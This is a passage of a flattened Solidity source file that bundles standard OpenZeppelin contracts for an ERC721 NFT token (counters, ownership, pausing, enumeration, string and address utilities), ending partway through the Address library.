// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol pragma solidity ^0.8.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as 